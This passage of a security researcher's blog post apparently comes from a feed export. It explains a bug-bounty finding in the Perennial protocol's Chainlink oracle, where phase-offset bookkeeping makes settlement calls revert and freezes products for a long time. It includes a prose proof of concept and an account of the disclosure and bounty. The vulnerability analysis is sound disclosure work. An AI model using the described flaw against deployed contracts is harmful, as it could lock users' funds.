</code></pre><p><em>Do you see the problem?</em></p><p>Here&apos;s a hint: The <code>roundCount</code> variable returns the total rounds within the given phase.</p><p>In other words, this code takes the total rounds within the given phase and pushes it on to the array. The first time this happens, it&apos;ll work fine, because the rounds in the phase is equal to the total number of rounds in the history of the protocol. In the example above, this would successfully push 20 onto the array, giving us an array of <code>_startingVersionForPhaseId = [0, 0, 20]</code>.</p><p>But what about the next phase shift? Let&apos;s say Chainlink shifts to a new phase again 20 rounds later. Ideally, we should now be pushing 40 onto the array, keeping our calculations correct. But if we look at the above code, the <code>roundCount</code> after 20 more rounds will only be 20.</p><p>This is an issue. We shouldn’t be adding the number of rounds in the last phase to the array. We should be adding the total number of rounds that have ever occurred up to this point.</p><p>As soon as I saw this error, I knew we had a bug. The problem was just to understand if it could be exploited, and what damage it could cause.</p><h2 id="h-so-what" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">So What?</h2><p>It was obvious that, if this value was off, the translations between round ID and version would be off. So my first thought was to find all the places in the code that used this translation, and see where it could become a problem.</p><p>Before that, I needed to understand how exactly it would misbehave.</p><p>The core function that used this information was the <code>_versionToRoundId()</code>, which takes the following form:</p><pre data-type="codeBlock" text="function _versionToRoundId(uint256 version) private view returns (uint80) {
    uint16 phaseId = _versionToPhaseId(version);
    return registry.getStartingRoundId(base, quote, phaseId) +
        uint80(version - _startingVersionForPhaseId[phaseId]);
}
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_versionToRoundId</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> version</span>) <span class="hljs-title"><span class="hljs-keyword">private</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint80</span></span>) </span>{
    <span class="hljs-keyword">uint16</span> phaseId <span class="hljs-operator">=</span> _versionToPhaseId(version);
    <span class="hljs-keyword">return</span> registry.getStartingRoundId(base, quote, phaseId) <span class="hljs-operator">+</span>
        <span class="hljs-keyword">uint80</span>(version <span class="hljs-operator">-</span> _startingVersionForPhaseId[phaseId]);
}
</code></pre><p>How would this function act in the event of an incorrect <code>_startingVersionForPhaseId</code> array?</p><p>Here&apos;s what would happen:</p><ul><li><p>The final value in the array would be lower than it should be</p></li><li><p><code>phaseId</code> would return the position of that final value (<code>len(array) - 1</code>)</p></li><li><p><code>registry.getStartingRoundId</code> would return the correct starting round (from Chainlink) for the most recent phase</p></li><li><p><code>version - _startingVersionForPhaseId[phaseId]</code> would return a number of versions much higher than it should, since it&apos;s subtracting the smaller final array value from the correct current version</p></li></ul><p>Let&apos;s look at the above example. We&apos;ve changed phases at round 20 and round 40, and the array is now <code>_startingVersionForPhaseId = [0, 0, 20, 20]</code>. We call <code>_versionToRoundId()</code> for version 41:</p><ul><li><p><code>phaseId = 3</code></p></li><li><p><code>registry.getStartingRoundId = 0x0300000001</code> (phase 3, round 1 within the phase)</p></li><li><p>return value (converting to hex for consistency): <code>0x0300000001 + 0x28 - 0x14 =0x0300000015</code></p></li></ul><p>But this is actually 20 rounds in the future. The function will revert and continue to revert for 20 rounds until Chainlink catches up.</p><p>This is actually somewhat fortunate. Incorrect oracles can cause nasty problems if they return the wrong values, but the only issue caused here would be a freezing of the protocol, so the downstream uses of this function would not be exploitable. It will simply cause all syncing to revert until Chainlink catches up.</p><p>However, this syncing issue can go on for quite a long time. The total locked time caused by Chainlink upgrading to phase X can be calculated as:</p><p><code>lockedTime = (rounds in history of the protocol before phase X - 1) * length of Chainlink round</code></p><p>This seemed like a substantial enough problem to be worth submitting, so I wrote up a report and submitted it to the Perennial team.</p><h2 id="h-a-common-sense-poc" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">A Common Sense POC</h2><p>I submitted the following simple POC along with my submission.</p><blockquote><ul><li><p>Chainlink updates the phase ID of a feed. This adds roundCount to _startingVersionForPhaseId. Let&apos;s imagine it&apos;s been 2 years and the oracle updates hourly, so roundCount would equal roughly 24 * 365 * 2 = 17520. The new array is [0, 0, 17520].</p></li><li><p>Six months later, Chainlink updates the phase ID again. This adds roundCount to _startingVersionForPhaseId. In six months, roundCount would equal roughly 24 * 180 = 4320. The new array is [0, 0, 17520, 4320].</p></li><li><p>At the next settlement, Product.sol#atVersion() is called with the latest version as a parameter. In this case, latestVersion will be the version right before the phase update, which will equal 17520 + 4320 - 1 = 21839. This calls oracle().atVersion(21839).</p></li><li><p>This function begins by calling _versionToRoundId() with the version passed. This calls _versionToPhaseId(), which will return the current phase because version &gt; _startingVersionForPhaseId[latestPhaseId]. This calculates the starting round id for the phase (which will equal the current round id, because it&apos;s looking at the new phase), the version (which will be 21839) and _startingVersionForPhaseId[phaseId] (which will be 4320). It will return currentRound + 21839 - 4320.</p></li><li><p>Because this round is 21839 - 4320 = 17519 rounds in the future, the call to registry.getRound() (which calls Chainlink&apos;s Feed Registry with getRoundData()) will revert, with an invalid round error.</p></li><li><p>This error will continue until the round is realized, which will be in approximately 17519 / 24 = 730 days = 2 years.</p></li><li><p>Because we will be unable to call settle() and move between versions, the Products will all become locked until this error resolves.</p></li></ul></blockquote><h2 id="h-the-response" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">The Response</h2><p>This was my first day trying out Immunefi, so I wasn&apos;t sure what to expect. I&apos;d heard rumors that protocols might be selfish, difficult to deal with, slow, etc.</p><p>I had the exact opposite experience:</p><ul><li><p>The team got back to me in 30 minutes that they were exploring the issue.</p></li><li><p>They confirmed it 19 hours later and laid out a fair bounty offer.</p></li><li><p>Payment was sent by the end of the day.</p></li></ul><p>I was extremely impressed with the Perennial team and plan to take a closer look at their contracts when I have more time, as I know they treat white hats fairly and respectfully.</p><p>This was a good first day, but if my goal was to reach Top 10 on the Immunefi Leaderboard by the end of 2023, I needed to find something a lot more serious.</p><p>Luckily, I received a mysterious message the next day that would lead me down a rabbit hole towards my first major find. Look out for the write up soon :)</p><div data-type="subscribeButton" class="center-contents"><a class="email-subscribe-button" href="null">Subscribe</a></div>]]></content:encoded>
            <author>zachobront@newsletter.paragraph.com (zachobront)</author>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/9ce8ace8455a469633d10a2ea57260453151c628bcd0aa1ac78f63c7403b852f.png" length="0" type="image/png"/>
        </item>
    </channel>
</rss>